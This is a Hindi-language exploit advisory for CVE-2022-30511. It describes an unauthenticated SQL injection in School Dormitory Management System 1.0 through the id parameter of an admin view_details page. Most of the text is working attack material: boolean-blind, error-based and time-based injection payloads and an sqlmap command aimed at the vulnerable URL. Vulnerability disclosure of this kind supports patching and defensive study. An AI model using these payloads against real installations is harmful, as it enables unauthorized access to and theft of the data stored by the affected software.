CVE-2022-30511

स्कूल डॉरमिटरी प्रबंधन प्रणाली 1.0 - अनप्रमाणित SQL इंजेक्शन

शोषण शीर्षक: स्कूल डॉरमिटरी प्रबंधन प्रणाली 1.0 - अनप्रमाणित SQL इंजेक्शन

दिनांक: 2022-05-25

CVE: CVE-2022-30511

शोषण लेखक: Abdulaziz Saad (@b4zb0z)

विक्रेता होमपेज: https://www.sourcecodester.com/

सॉफ्टवेयर लिंक: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

संस्करण: 1.0

परीक्षित: LAMP, Ubuntu

---

[#] कमजोरी का स्थान: $_GET['id'] में /dms/admin/accounts/view_details.php:4

पैरामीटर: id (GET) प्रकार: बूलियन-आधारित ब्लाइंड शीर्षक: AND बूलियन-आधारित ब्लाइंड - WHERE या HAVING खंड पेलोड: page=accounts/view_details&id=2' AND 8853=8853 AND 'kujz'='kujz

प्रकार: त्रुटि-आधारित

शीर्षक: MySQL >= 5.0 AND त्रुटि-आधारित - WHERE, HAVING, ORDER BY या GROUP BY खंड (FLOOR)
पेलोड: page=accounts/view_details&id=2' AND (SELECT 8739 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(8739=8739,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'fkLf'='fkLf

प्रकार: समय-आधारित ब्लाइंड

शीर्षक: MySQL >= 5.0.12 AND समय-आधारित ब्लाइंड (क्वेरी SLEEP)
पेलोड: page=accounts/view_details&id=2' AND (SELECT 7339 FROM (SELECT(SLEEP(5)))Dkxx) AND 'UZCm'='UZCm

---

[#] SQLMAP का उपयोग कर शोषण: sqlmap -u "http://localhost/dms/admin/?page=accounts/view_details&id=2" --dbms=mysql